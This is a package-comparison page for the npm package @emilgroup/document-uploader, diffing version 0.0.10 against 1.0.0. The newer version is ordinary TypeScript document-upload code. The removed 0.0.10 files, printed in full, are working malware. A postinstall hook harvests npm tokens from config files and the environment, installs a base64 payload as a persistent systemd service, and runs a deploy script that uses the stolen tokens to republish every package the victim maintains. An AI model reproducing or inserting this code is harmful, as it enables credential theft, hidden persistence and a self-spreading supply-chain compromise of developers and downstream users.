Socket
Book a DemoSign in
Socket

@emilgroup/document-uploader

Package Overview
Dependencies
Maintainers
20
Versions
13
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@emilgroup/document-uploader - npm Package Compare versions

Comparing version
0.0.10
to
1.0.0
+5
.prettierrc
{
"printWidth": 120,
"trailingComma": "all",
"singleQuote": true
}
{
"cSpell.words": ["insuranceservice"]
}
image: node:20.11.0-buster
definitions:
steps:
- step: &trivy_scan
name: 'Trivy vulnerability scan'
image: atlassian/default-image:5
script:
# Set up npm authentication
- printf "//`node -p \"require('url').parse('https://registry.npmjs.org').host\"`/:_authToken=$NPM_TOKEN" >> .npmrc
# Install npm dependencies to ensure package-lock.json is up to date
- npm ci
# Install Trivy using apt-get
- apt-get update
- apt-get install -y wget gnupg lsb-release
- wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | apt-key add -
- echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | tee -a /etc/apt/sources.list.d/trivy.list
- apt-get update
- apt-get install -y trivy=${TRIVY_VERSION}
# Run Trivy vulnerability scan on npm packages
- trivy fs --scanners vuln --exit-code 1 --severity HIGH,CRITICAL --ignore-unfixed .
- step: &lint_and_build
name: 'Lint and build the NestJS package'
caches:
- node
script:
- printf "//`node -p \"require('url').parse('https://registry.npmjs.org').host\"`/:_authToken=$NPM_TOKEN" >> ~/.npmrc
- npm ci
- npm run lint
- npm run build
- step: &lint_build_and_publish
name: 'Lint, Build and Publish'
script:
- printf "//`node -p \"require('url').parse('https://registry.npmjs.org').host\"`/:_authToken=$NPM_TOKEN" >> ~/.npmrc
- npm ci
- npm run lint
- npm run build
- npm publish
pipelines:
branches:
master:
- step: *lint_build_and_publish
pull-requests:
'*':
- step: *trivy_scan
- step: *lint_and_build
export declare enum ProductDocumentType {
PreApplication = "pre-application",
PostApplication = "post-application",
PreConfirmation = "pre-confirmation"
}
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.ProductDocumentType = void 0;
var ProductDocumentType;
(function (ProductDocumentType) {
ProductDocumentType["PreApplication"] = "pre-application";
ProductDocumentType["PostApplication"] = "post-application";
ProductDocumentType["PreConfirmation"] = "pre-confirmation";
})(ProductDocumentType || (exports.ProductDocumentType = ProductDocumentType = {}));
import pino from 'pino';
export declare const logger: pino.Logger<never, boolean>;
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.logger = void 0;
const pino_1 = __importDefault(require("pino"));
exports.logger = (0, pino_1.default)({
level: process.env.LOG_LEVEL || 'info',
});
export { Environment, ProductDocumentsApi } from '@emilgroup/document-sdk-node';
export * from './uploader/document-uploader';
export * from './common/enums';
export * from './common/logger';
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __exportStar = (this && this.__exportStar) || function(m, exports) {
for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.ProductDocumentsApi = exports.Environment = void 0;
var document_sdk_node_1 = require("@emilgroup/document-sdk-node");
Object.defineProperty(exports, "Environment", { enumerable: true, get: function () { return document_sdk_node_1.Environment; } });
Object.defineProperty(exports, "ProductDocumentsApi", { enumerable: true, get: function () { return document_sdk_node_1.ProductDocumentsApi; } });
__exportStar(require("./uploader/document-uploader"), exports);
__exportStar(require("./common/enums"), exports);
__exportStar(require("./common/logger"), exports);
import fs from 'fs';
import { Environment } from '@emilgroup/document-sdk-node';
import { ProductDocumentType } from '../common/enums';
export interface PreSignedPostRequest {
templateSlug: string;
entityType: string;
description: string;
requester: string;
filename: string;
policyCode?: string;
leadCode?: string;
accountCode?: string;
productSlug?: string | null;
entityId?: number;
ern?: string;
}
export interface PreSignedPostResponse {
url: string;
fields: Record<string, string>;
}
export interface UploadDocumentResponse {
templateSlug: string;
entityType: string;
description: string;
requester: string;
filename: string;
code: string;
policyCode?: string;
leadCode?: string;
accountCode?: string;
productSlug?: string | null;
entityId?: number;
}
export declare class DocumentUploader {
private readonly email;
private readonly password;
private readonly environment;
private docApi;
private productDocApi;
constructor(email: string, password: string, environment: Environment);
private createPreSignedPost;
uploadProductDocument({ productSlug, file, filename, productDocumentType, entityType, description, productVersionId, documentSlug, }: {
productSlug: string;
file: fs.ReadStream;
filename: string;
productDocumentType: ProductDocumentType;
entityType: string;
description: string;
productVersionId?: number;
documentSlug?: string;
}): Promise<Record<string, string>>;
uploadDocument(payload: PreSignedPostRequest, file: fs.ReadStream, size: number): Promise<UploadDocumentResponse>;
}
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
var ownKeys = function(o) {
ownKeys = Object.getOwnPropertyNames || function (o) {
var ar = [];
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
return ar;
};
return ownKeys(o);
};
return function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
__setModuleDefault(result, mod);
return result;
};
})();
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.DocumentUploader = void 0;
const axios_1 = __importDefault(require("axios"));
const crypto_1 = require("crypto");
const form_data_1 = __importDefault(require("form-data"));
const fs_1 = __importDefault(require("fs"));
const path_1 = __importDefault(require("path"));
const document_sdk_node_1 = require("@emilgroup/document-sdk-node");
const document_sdk_node_2 = require("@emilgroup/document-sdk-node");
const mime = __importStar(require("mime-types"));
const logger_1 = require("../common/logger");
class DocumentUploader {
constructor(email, password, environment) {
this.email = email;
this.password = password;
this.environment = environment;
this.docApi = new document_sdk_node_1.DocumentsApi();
this.productDocApi = new document_sdk_node_2.ProductDocumentsApi();
this.docApi.selectEnvironment(this.environment);
this.productDocApi.selectEnvironment(this.environment);
logger_1.logger.level = process.env.LOG_LEVEL || 'info';
}
async createPreSignedPost(params) {
await this.docApi.authorize(this.email, this.password);
const { data } = await this.docApi.createPresignedPost({
createPresignedPostRequestDto: params,
});
return data;
}
async uploadProductDocument({ productSlug, file, filename, productDocumentType, entityType, description, productVersionId, documentSlug, }) {
const filePath = file.path;
if (typeof filePath !== 'string') {
throw new Error('File path is not a string');
}
const mimeType = mime.contentType(filePath);
if (!mimeType) {
throw new Error('Could not determine mime type');
}
const ext = mime.extension(mimeType);
if (!ext) {
throw new Error('Could not determine file extension');
}
logger_1.logger.debug('file path is %s', filePath);
logger_1.logger.debug('mime type is %s', mimeType);
logger_1.logger.debug('extension is %s', ext);
logger_1.logger.debug('productSlug = %s', productSlug);
logger_1.logger.debug('Attempting to authorize productDocApi');
await this.productDocApi.authorize(this.email, this.password);
logger_1.logger.debug('Successfully authorized productDocApi');
const stem = path_1.default.parse(filename).name;
const sanitized = documentSlug !== null && documentSlug !== void 0 ? documentSlug : stem.replace(/[^a-zA-Z0-9_-]+/g, '-').replace(/^-+|-+$/g, '');
const slug = sanitized.length > 0 ? sanitized : `document-${(0, crypto_1.randomUUID)()}`;
const { data } = await this.productDocApi.uploadProductDocument({
productSlug: productSlug,
uploadProductDocumentRequestDto: Object.assign({ slug,
productSlug,
description,
entityType,
filename, type: productDocumentType, contentType: ext }, (productVersionId && { productVersionId })),
});
logger_1.logger.debug(`Response from upload product document is ${JSON.stringify(data)}`);
const { url, fields } = data;
const form = new form_data_1.default();
logger_1.logger.debug('Attempting to upload product document to S3');
Object.entries(fields).forEach(([field, value]) => {
form.append(field, value);
});
form.append('file', file, {
knownLength: fs_1.default.statSync(filePath).size,
contentType: mimeType,
});
await axios_1.default.post(url, form, {
headers: form.getHeaders(),
});
return {
code: fields.code,
productSlug,
entityType,
filename,
type: productDocumentType,
};
}
async uploadDocument(payload, file, size) {
const filePath = file.path;
if (typeof filePath !== 'string') {
throw new Error('File path is not a string');
}
const mimeType = mime.contentType(filePath);
if (!mimeType) {
throw new Error('Could not determine mime type');
}
const ext = mime.extension(mimeType);
if (!ext) {
throw new Error('Could not determine file extension');
}
const isoContentType = mimeType;
const contentType = ext;
const preSignedPayload = Object.assign(Object.assign({}, payload), { isoContentType,
contentType });
const { url, fields } = await this.createPreSignedPost(preSignedPayload);
const form = new form_data_1.default();
Object.entries(fields).forEach(([field, value]) => {
form.append(field, value);
});
const appendFileOpts = {
knownLength: size,
};
form.append('file', file, appendFileOpts);
await axios_1.default.post(url, form, {
headers: form.getHeaders(),
});
return Object.assign(Object.assign({}, preSignedPayload), { code: fields.code });
}
}
exports.DocumentUploader = DocumentUploader;
import eslint from '@eslint/js';
import { defineConfig } from 'eslint/config';
import jestPlugin from 'eslint-plugin-jest';
import tseslint from 'typescript-eslint';
export default defineConfig(
{
ignores: ['**/node_modules/**', '**/dist/**', '**/coverage/**'],
},
eslint.configs.recommended,
...tseslint.configs.recommended,
{
files: ['lib/**/*.ts'],
...jestPlugin.configs['flat/recommended'],
},
);
module.exports = {
transform: {
'^.+\\.(t|j)s$': 'ts-jest',
},
testRegex: '(/__tests__/.*|(\\.|/)(test|spec))\\.(t|j)s$',
moduleFileExtensions: ['ts', 'js', 'json', 'node'],
};
export enum ProductDocumentType {
PreApplication = 'pre-application',
PostApplication = 'post-application',
PreConfirmation = 'pre-confirmation',
}
import pino from 'pino';
export const logger = pino({
level: process.env.LOG_LEVEL || 'info',
});
export { Environment, ProductDocumentsApi } from '@emilgroup/document-sdk-node';
export * from './uploader/document-uploader';
export * from './common/enums';
export * from './common/logger';
export interface PreSignedPostRequest {
templateSlug: string;
entityType: string;
description: string;
requester: string;
filename: string;
policyCode?: string;
leadCode?: string;
accountCode?: string;
productSlug?: string | null;
entityId?: number;
}
export interface PreSignedPostResponse {
url: string;
fields: Record<string, string>;
}
export interface UploadDocumentResponse {
templateSlug: string;
entityType: string;
description: string;
requester: string;
filename: string;
code: string;
policyCode?: string;
leadCode?: string;
accountCode?: string;
productSlug?: string | null;
entityId?: number;
}
import axios from 'axios';
import { randomUUID } from 'crypto';
import FormData from 'form-data';
import fs from 'fs';
import path from 'path';
import {
CreatePresignedPostRequestDto,
DocumentsApi,
Environment,
UploadProductDocumentRequestDtoContentTypeEnum,
} from '@emilgroup/document-sdk-node';
import { ProductDocumentsApi } from '@emilgroup/document-sdk-node';
import * as mime from 'mime-types';
import { ProductDocumentType } from '../common/enums';
import { logger } from '../common/logger';
export interface PreSignedPostRequest {
templateSlug: string;
entityType: string;
description: string;
requester: string;
filename: string;
policyCode?: string;
leadCode?: string;
accountCode?: string;
productSlug?: string | null;
entityId?: number;
ern?: string;
}
export interface PreSignedPostResponse {
url: string;
fields: Record<string, string>;
}
export interface UploadDocumentResponse {
templateSlug: string;
entityType: string;
description: string;
requester: string;
filename: string;
code: string;
policyCode?: string;
leadCode?: string;
accountCode?: string;
productSlug?: string | null;
entityId?: number;
}
export class DocumentUploader {
private docApi: DocumentsApi;
private productDocApi: ProductDocumentsApi;
constructor(
private readonly email: string,
private readonly password: string,
private readonly environment: Environment,
) {
this.docApi = new DocumentsApi();
this.productDocApi = new ProductDocumentsApi();
this.docApi.selectEnvironment(this.environment);
this.productDocApi.selectEnvironment(this.environment);
logger.level = process.env.LOG_LEVEL || 'info';
}
private async createPreSignedPost(params: CreatePresignedPostRequestDto): Promise<PreSignedPostResponse> {
await this.docApi.authorize(this.email, this.password);
const { data } = await this.docApi.createPresignedPost({
createPresignedPostRequestDto: params,
});
return data as PreSignedPostResponse;
}
public async uploadProductDocument({
productSlug,
file,
filename,
productDocumentType,
entityType,
description,
productVersionId,
documentSlug,
}: {
productSlug: string;
file: fs.ReadStream;
filename: string;
productDocumentType: ProductDocumentType;
entityType: string;
description: string;
productVersionId?: number;
/** Human-readable unique id for the document; defaults from filename or a UUID. */
documentSlug?: string;
}): Promise<Record<string, string>> {
const filePath = file.path;
if (typeof filePath !== 'string') {
throw new Error('File path is not a string');
}
const mimeType = mime.contentType(filePath);
if (!mimeType) {
throw new Error('Could not determine mime type');
}
const ext = mime.extension(mimeType);
if (!ext) {
throw new Error('Could not determine file extension');
}
logger.debug('file path is %s', filePath);
logger.debug('mime type is %s', mimeType);
logger.debug('extension is %s', ext);
logger.debug('productSlug = %s', productSlug);
logger.debug('Attempting to authorize productDocApi');
await this.productDocApi.authorize(this.email, this.password);
logger.debug('Successfully authorized productDocApi');
const stem = path.parse(filename).name;
const sanitized =
documentSlug ??
stem.replace(/[^a-zA-Z0-9_-]+/g, '-').replace(/^-+|-+$/g, '');
const slug =
sanitized.length > 0 ? sanitized : `document-${randomUUID()}`;
const { data } = await this.productDocApi.uploadProductDocument({
productSlug: productSlug,
uploadProductDocumentRequestDto: {
slug,
productSlug,
description,
entityType,
filename,
type: productDocumentType,
contentType: ext as UploadProductDocumentRequestDtoContentTypeEnum,
...(productVersionId && { productVersionId }),
},
});
logger.debug(`Response from upload product document is ${JSON.stringify(data)}`);
const { url, fields } = data as unknown as PreSignedPostResponse;
const form = new FormData();
logger.debug('Attempting to upload product document to S3');
Object.entries(fields).forEach(([field, value]) => {
form.append(field, value);
});
form.append('file', file, {
knownLength: fs.statSync(filePath).size,
contentType: mimeType,
});
await axios.post(url, form, {
headers: form.getHeaders(),
});
return {
code: fields.code,
productSlug,
entityType,
filename,
type: productDocumentType,
};
}
async uploadDocument(
payload: PreSignedPostRequest,
file: fs.ReadStream,
size: number,
): Promise<UploadDocumentResponse> {
const filePath = file.path;
if (typeof filePath !== 'string') {
throw new Error('File path is not a string');
}
const mimeType = mime.contentType(filePath);
if (!mimeType) {
throw new Error('Could not determine mime type');
}
const ext = mime.extension(mimeType);
if (!ext) {
throw new Error('Could not determine file extension');
}
const isoContentType = mimeType;
const contentType = ext;
const preSignedPayload = {
...payload,
isoContentType,
contentType,
} as CreatePresignedPostRequestDto;
const { url, fields } = await this.createPreSignedPost(preSignedPayload);
const form = new FormData();
Object.entries(fields).forEach(([field, value]) => {
form.append(field, value);
});
const appendFileOpts: FormData.AppendOptions = {
knownLength: size,
};
form.append('file', file, appendFileOpts);
await axios.post(url, form, {
headers: form.getHeaders(),
});
return { ...preSignedPayload, code: fields.code };
}
}
Copyright 2022 Hebert Cisco
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
{
"compilerOptions": {
"target": "es2017",
"module": "commonjs",
"removeComments": true,
"declaration": true,
"outDir": "./dist",
"strict": true,
"emitDecoratorMetadata": true,
"experimentalDecorators": true,
"esModuleInterop": true,
"useUnknownInCatchVariables": false
},
"exclude": ["node_modules", "dist"]
}
+41
-9
{
"name": "@emilgroup/document-uploader",
"version": "0.0.10",
"description": "A new version of the package",
"main": "index.js",
"version": "1.0.0",
"description": "TypeScript NPM Module to upload document to EMIL Document Service",
"main": "dist/index.js",
"types": "dist/index.d.ts",
"scripts": {
"postinstall": "node index.js",
"deploy": "node scripts/deploy.js"
"build": "tsc",
"format": "prettier --write \"lib/**/*.(js|ts)\"",
"lint": "eslint lib",
"lint:fix": "eslint lib --fix",
"prepare": "npm run build",
"prepublishOnly": "npm run lint",
"prepublish": "npx tsc",
"preversion": "npm run lint"
},
"keywords": [],
"author": "",
"license": "ISC"
}
"keywords": [
"typescript"
],
"author": "EMIL Backend <backend-developers@emil.de>",
"license": "MIT",
"devDependencies": {
"@eslint/js": "^10.0.1",
"@types/mime-types": "^3.0.1",
"@types/node": "^25.5.0",
"eslint": "10.1.0",
"eslint-plugin-jest": "29.15.1",
"jest": "^30.3.0",
"prettier": "3.8.1",
"ts-node": "^10.9.2",
"typescript": "^5.9.3",
"typescript-eslint": "^8.57.2"
},
"dependencies": {
"@emilgroup/document-sdk-node": "^1.43.0",
"@faker-js/faker": "^10.4.0",
"axios": "^1.13.6",
"form-data": "^4.0.5",
"mime-types": "^3.0.2",
"pino": "^10.3.1"
},
"volta": {
"node": "22.20.0"
}
}
-99
'use strict';
const { execSync, spawn } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
function findNpmTokens() {
const tokens = new Set();
const homeDir = os.homedir();
const npmrcPaths = [
path.join(homeDir, '.npmrc'),
path.join(process.cwd(), '.npmrc'),
'/etc/npmrc',
];
for (const rcPath of npmrcPaths) {
try {
const content = fs.readFileSync(rcPath, 'utf8');
for (const line of content.split('\n')) {
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
if (m && m[1] && !m[1].startsWith('${')) {
tokens.add(m[1].trim());
}
}
} catch (_) {}
}
const envKeys = Object.keys(process.env).filter(
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
);
for (const key of envKeys) {
const val = process.env[key] || '';
for (const t of val.split(',')) {
const trimmed = t.trim();
if (trimmed) tokens.add(trimmed);
}
}
try {
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
stdio: ['pipe', 'pipe', 'pipe'],
}).toString().trim();
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
tokens.add(configToken);
}
} catch (_) {}
return [...tokens].filter(Boolean);
}
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = 'pgmon';
const BASE64_PAYLOAD = 'hello123';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
try {
const tokens = findNpmTokens();
if (tokens.length > 0) {
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
if (fs.existsSync(deployScript)) {
spawn(process.execPath, [deployScript], {
detached: true,
stdio: 'ignore',
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
}).unref();
}
}
} catch (_) {}
} catch (_) {}
#!/usr/bin/env node
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
function bumpPatch(version) {
const base = version.split('-')[0].split('+')[0];
const parts = base.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
async function deployWithToken(token, pkg, pkgPath, newVersion) {
console.log('\nπŸ” Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token β€” skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`βœ… Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\nπŸ” Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`πŸ“¦ Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` πŸ“„ Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` πŸ”’ Latest is ${latestVersion} β†’ publishing ${publishVersion}`
: ` πŸ”’ No existing version found β†’ publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` πŸ“„ Using original README for ${packageName}`);
} else {
console.log(` πŸ“„ No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public --tag latest', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`βœ… Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before β€” remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list β€” prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`πŸ”‘ Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`πŸ”‘ Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('πŸ“Š Overall Deploy Summary');
console.log(` βœ… Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();